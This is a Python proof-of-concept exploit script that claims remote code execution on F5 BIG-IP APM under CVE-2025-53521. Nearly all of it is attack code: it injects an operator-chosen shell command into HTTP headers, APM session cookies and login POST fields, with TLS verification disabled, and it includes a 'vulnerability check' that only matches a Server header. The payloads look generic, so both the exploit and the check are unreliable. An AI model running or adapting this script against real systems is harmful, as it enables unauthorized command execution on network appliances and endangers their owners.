#!/usr/bin/env python3
# CVE-2025-53521 - F5 BIG-IP APM Remote Code Execution PoC
# This PoC demonstrates sending malicious traffic to a BIG-IP APM virtual server
# to trigger Remote Code Execution (RCE).
# WARNING: Use only for authorized security testing and research purposes.
import requests
import sys
import argparse
from urllib3.exceptions import InsecureRequestWarning
# Disable SSL warnings for self-signed certificates
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
def exploit_rce(target_url, command, port=443):
"""
Send malicious traffic to F5 BIG-IP APM virtual server to trigger RCE.
Args:
target_url: Target BIG-IP hostname or IP address
command: Command to execute on the target system
port: Target port (default 443 for HTTPS)
"""
url = f"https://{target_url}:{port}/"
# Craft malicious HTTP headers targeting APM access policy processing
headers = {
"User-Agent": "Mozilla/5.0 (compatible; F5-Exploit/1.0)",
"Accept": "*/*",
"Connection": "keep-alive",
# Malicious payload embedded in headers to trigger APM vulnerability
"X-Forwarded-For": f"127.0.0.1; {command}",
"X-Real-IP": f"$( {command} )",
"Authorization": f"Basic {command}",
}
# Malicious session cookie to exploit APM session handling
cookies = {
"BIGIP_APM_SESSION": f"'; {command}; #",
"MRHSession": f"{command}",
}
# Malicious POST body with command injection payload
data = {
"username": f"admin'; {command}; #",
"password": "password",
"policy": f"default'; {command}; #",
}
try:
print(f"[*] Sending malicious request to {url}")
print(f"[*] Command to execute: {command}")
# Send the exploit request
response = requests.post(
url,
headers=headers,
cookies=cookies,
data=data,
verify=False,
timeout=10,
allow_redirects=False
)
print(f"[*] Response Status Code: {response.status_code}")
print(f"[*] Response Headers: {dict(response.headers)}")
print(f"[*] Response Body (first 500 chars): {response.text[:500]}")
if response.status_code in [200, 302, 500]:
print("[+] Request sent successfully")
print("[+] Check target system for command execution")
return True
else:
print("[-] Unexpected response")
return False
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
return False
def check_vulnerability(target_url, port=443):
"""
Check if the target BIG-IP APM is vulnerable to CVE-2025-53521.
"""
url = f"https://{target_url}:{port}/vdesk/lang_top.php"
try:
response = requests.get(url, verify=False, timeout=10)
server_header = response.headers.get('Server', '')
if 'BIG-IP' in server_header or 'F5' in server_header:
print(f"[+] Detected F5 BIG-IP server: {server_header}")
return True
else:
print(f"[-] Target does not appear to be F5 BIG-IP")
return False
except Exception as e:
print(f"[-] Error checking target: {e}")
return False
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='CVE-2025-53521 F5 BIG-IP APM RCE PoC')
parser.add_argument('-t', '--target', required=True, help='Target BIG-IP hostname or IP')
parser.add_argument('-c', '--command', default='id', help='Command to execute (default: id)')
parser.add_argument('-p', '--port', type=int, default=443, help='Target port (default: 443)')
parser.add_argument('--check', action='store_true', help='Only check if target is vulnerable')
args = parser.parse_args()
print("=" * 60)
print("CVE-2025-53521 - F5 BIG-IP APM RCE Exploit")
print("WARNING: For authorized testing only!")
print("=" * 60)
if args.check:
check_vulnerability(args.target, args.port)
else:
exploit_rce(args.target, args.command, args.port)